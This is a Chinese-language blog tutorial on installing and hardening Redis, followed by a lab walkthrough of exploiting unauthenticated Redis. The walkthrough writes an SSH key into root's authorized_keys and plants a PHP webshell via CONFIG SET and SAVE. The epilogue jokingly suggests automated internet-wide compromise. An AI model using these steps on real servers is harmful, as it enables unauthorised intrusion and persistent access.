Nosql 攻防第二弹 [ redis ]



0x01 其实redismemcached 单从功用上来讲,基本差不太多,只是在数据量非常大的情况下,memcached 就会有很多的问题,但redis在这方面却恰巧做的还不错,且redis所支持的功能更加全面,也能更好的适应一些比较复杂的业务逻辑,下面则是关于redis的一些优良特性

1
2
3
4
5
所支持的数据类型较丰富
支持持久化存储
支持主从复制
性能强悍,并发可超十万
...

此次演示环境

1
2
3
4
5
CentOS6.8_x86_64 ip: 192.168.3.42 Oldlnmp root权限下的redis未授权
CentOS6.8_x86_64 ip: 192.168.3.66 RedisMaster 为加固过的redis
Ubuntu16.04 server ip: 192.168.3.67 RedisSlave root权限下的redis未授权
Ubuntu16.04 LTS ip: 192.168.3.12 Metasploitredis客户端
win7cn ip: 192.168.3.60 后续连webshell

0x02 开始安装部署 redis,此处暂以最新版为例进行演示,为了避免redis自身的一些漏洞,建议使用最新版的稳定版本

1
2
3
4
5
6
7
8
9
# wget http://download.redis.io/releases/redis-4.0.6.tar.gz
# tar xf redis-4.0.6.tar.gz
# cd redis-4.0.6
# make MALLOC=jemalloc
# make PREFIX=/usr/local/redis-4.0.6 install
# ln -s /usr/local/redis-4.0.6/ /usr/local/redis
# export PATH=/usr/local/redis/bin/:$PATH
# echo "export PATH=/usr/local/redis/bin/:$PATH" >> ~/.bash_profile
# redis-server -h

0x03 安装成功后,我们就来大致了解下 redis 的目录结构及其内置工具具体用途

1
2
3
4
5
6
7
8
# tree /usr/local/redis
└── bin
├── redis-benchmark 性能测试工具
├── redis-check-aof 检查更新日志
├── redis-check-rdb 检查本地数据库
├── redis-cli redis客户端连接工具
├── redis-sentinel -> redis-server
└── redis-server redis服务端

0x04 配置并启动redis服务,它默认工作在tcp的6379端口上

启动redis前的一些必要准备,主要是修改一些和性能相关的内核参数

1
2
3
4
5
6
# mkdir /usr/local/redis/{config,log}
# cp /root/redis-4.0.6/redis.conf /usr/local/redis/config/
# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
# echo "net.core.somaxconn = 1024" >> /etc/sysctl.conf
# echo "echo never > /sys/kernel/mm/transparent_hugepage/enabled" >> /etc/rc.local
# sysctl -p

此处的redis配置仅仅只是针对安全方面的一些设置,关于redis的性能和其它功能配置并无涉及

1
2
3
4
5
6
7
8
# vi /usr/local/redis/config/redis.conf # redis主配置文件,默认在redis源码包目录下
bind 192.168.3.66 127.0.0.1 # 只允许指定的内网段和本机访问redis
port 6379 # redis默认工作端口,建议改掉
daemonize yes # 让它默认就在后台运行
pidfile /var/run/redis_6379.pid # 指定进程文件存放位置
loglevel warning # 修改的日志记录级别
logfile "/usr/local/redis/log/redis_6379.log" # 指定运行日志存放位置
requirepass admin # 设置登陆密码,此项非常重要,务必要记得开启

尽量以低权限启动redis服务,此tip非常非常重要,如果你不想让自己的服务器被人秒秒钟入侵,把服务运行权限压缩在一个极小的系统权限下是极度有必要的

1
2
3
4
5
# useradd -r redis
# chown -R redis.redis /usr/local/redis/log/
# su - redis
$ /usr/local/redis-4.0.6/bin/redis-server /usr/local/redis/config/redis.conf
$ netstat -tulnp | grep 6379

0x05 如下是 redis 所支持的一些基本数据类型

1
2
3
4
5
字符串 str
列表 list
集合 set
hash类型 hash
更多...

0x06 利用redis客户端连上服务端,手工进行一些常规的增删改查操作

关于redis终端的基本特性,支持tab键自动补全,直接在redis终端下使用help 命令即可查看指定命令的详细帮助,可以说已经是非常的友好了

1
2
3
4
5
6
7
8
# redis-cli -h 192.168.3.66 -p 6379 -a admin 只需指定ip,redis服务端口,正确密码,即可成功连上去
192.168.3.66:6379> info 可用来查看redis服务的各种状态信息
192.168.3.66:6379> help keys
192.168.3.66:6379> help @string
192.168.3.66:6379> help @list
192.168.3.66:6379> help @set
192.168.3.66:6379> help @hash
192.168.3.66:6379> keys *

针对字符串类型的增删改查

针对集合类型的增删改查,另外要注意,set是不允许重复的

针对列表类型的增删改查

针对hash类型的增删改查,这里的数据类型还没说完,关于其余类型下的增删改查基本都差不太多,只是命令,特性不一样而已,换汤不换药,大家可自行尝试

除了在redis终端下进行增删改查,也可直接在shell中无需交互来执行redis内置命令,如下

1
2
# redis-cli -h 192.168.3.66 -p 6379 -a admin set name klion
# redis-cli -h 192.168.3.66 -p 6379 -a admin monitor

为了防止恶意破坏和部分误操作,可根据自身实际情况针对性禁用一些redis内置危险命令

1
2
3
4
rename-command FLUSHALL ""
rename-command CONFIG "" 如果不需要用脚本动态改服务配置文件的情况,直接禁用掉即可
rename-command EVAL ""
rename-command KEYS ""

防止入侵者往authorized_keys文件中新增公钥,可对指定目录和文件进行降权和锁定

1
2
3
4
# su - redis
$ chmod 400 ~/.ssh/authorized_keys
# chattr +i ~/.ssh/authorized_keys
# chattr +i ~/.ssh 防止入侵者自己新建.ssh目录和authorized_keys文件

尽量不要把redis直接暴露在公网中,如果实在有必要可通过iptables来限制ip访问,比如,只让192.168.3.42这个ip来访问,另外,这里的规则仅作为demo参考,请自行根据实际情况进行调整

1
2
iptables -P INPUT DROP
iptables -A INPUT -s 192.168.3.42 -p tcp --dport 6379 -j ACCEPT

关于redis的更多内置命令使用详情,可自行去参考其官方文档,因为并非此处重点,所以就不做详述了,大家也都看到了,使用都非常简单的,只不过实际中,我们可能都是在用其提供的各类脚本api在操作,像这样纯手工增删改查的机会并不多

1
2
https://redis.io/commands
http://doc.redisfans.com/ 中文版

0x07 关于 redis 主从同步简单实现,其实也非常简单,主库上不用做任何配置,只需要在从库配置文件中指定主库的ip,服务端口和正确密码 之后重启服务即可,至于redis的负载均衡实现,在做好主从同步后就更简单了,并非重点,此处不再赘述

1
2
3
# vi /usr/local/redis/config/redis.conf 只需要编辑从库配置文件,开启如下两项即可
slaveof 192.168.3.66 6379
masterauth admin

0x08 编译安装php的redis客户端扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wget https://pecl.php.net/get/redis-3.1.2.tgz
# tar xf redis-3.1.2.tgz
# cd redis-3.1.2
# /usr/local/php/bin/phpize
# ./configure --with-php-config=/usr/local/php/bin/php-config
# make && make install
# ls /usr/local/php-5.6.32/lib/php/extensions/no-debug-non-zts-20131226/
# vi /usr/local/php/etc/php.ini
extension_dir = "/usr/local/php-5.6.32/lib/php/extensions/no-debug-non-zts-20131226/"
extension=redis.so
# pkill php-fpm
# /usr/local/php/sbin/php-fpm
# lsof -i :9000

0x09 对我们来讲,最值得关注的可能还是redis 的一些安全问题,当然,不可否认的是,敏感信息泄露确实是一方面,但最臭名昭著的可能还是未授权访问,运气好的情况下,你甚至会碰到直接root权限的redis未授权,关于此错误配置的一些简单粗暴的利用方式,如下

0x10 在开始具体的利用之前,我们先来简单了解下什么是config

1
2
config 命令本身是为动态调整Redis服务配置文件而无须重启设计的,既然是写文件,只要权限够,我们一样也可以用它来写各种shell
至于你要把这个shell写到哪里,随你便,权限只要在手,衍生出来的思路和技巧是无穷的,比如,你甚至可以想办法直接弹个meterpreter回来都是可以的

0x11 几种具体的利用方式,如下

第一种,直接以root身份启动redis服务,可尝试写ssh key,但想利用成功是有前提的,首先,目标机器必须已事先开启ssh key登录,因为那个.ssh目录默认是不存在的,其次,目标机器的ssh服务端口必须允许外连,否则即使写进去了,不让连也是尴尬,最后,还需要ssh服务配置中允许root用户直接ssh远程连才可以

1
2
3
4
5
6
7
8
# ssh-keygen -t rsa 生成密钥对,把公钥丢给目标,等会儿我们用私钥去连
# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > shell.txt
# cat shell.txt | redis-cli -h 192.168.3.42 -x set rootkit
# redis-cli -h 192.168.3.42
192.168.3.42:6379> config set dir /root/.ssh/ 可以暂且把它理解成往这个目录下写shell
192.168.3.42:6379> config get dir
192.168.3.42:6379> config set dbfilename "authorized_keys" 指定数据文件名
192.168.3.42:6379> save

1
# ssh -i id_rsa root@192.168.3.42 最后,在本地直接用私钥连到目标机器上即可

第二种,root权限下利用redis在远程机器上执行lua脚本,本来想直接用lua弹个shell回来的,只不过暂时还不太完美,后续搞定会再更新上来 ^_^

1
2
# cat shell.lua
# redis-cli --eval shell.lua -h 192.168.3.67 -p 6379

第三种,低权限启动redis服务,先想办法找到目标网站的物理路径,然后再尝试往目标站点目录中写webshell,当然啦,这个想利用成功也是有前提的,首先,redis和web必须处在同一机器上,如果站库分离就不太好写了哼哼...但实际中,绝大部分都是站库分离,其次,web服务用户和redis服务用户最好为同一系统用户,否则很可能会出现网站目录写不进去的情况,在实战中写webshell这种利用场景往往更适合windows,嘿嘿……以后大家就会懂的

1
2
3
4
5
# redis-cli -h 192.168.3.42
192.168.3.42:6379> config set dir /usr/local/nginx/html/bwapp/bWAPP/
192.168.3.42:6379> config set dbfilename licens.php
192.168.3.42:6379> set klion "<?php $sl = create_function('', @$_REQUEST['request']);$sl();?>"
192.168.3.42:6379> save


第四种,在redis服务低权限下也可尝试从中搜集各类敏感信息,如各类账号密码…

1
# redis-cli -h 192.168.3.67 -p 6379



后话:
    服务本身使用上非常简单,也没什么太多好说的,权限够的情况下,其实还可以衍生出非常非常多的利用手法,这里就不一一细说了,大家如果有兴趣,可以写成批量脚本,全网全自动一键抓鸡,自动验证权限并弹shell...没事儿,放哪儿天天让它自己跑就行了,哼哼……不说多了,不然有点儿那啥了,毕竟还是希望大家利用技术去做正确且有意义的事情,绝无任何教唆的意思,最后,欢迎大家一起来交流,祝好运 ^_^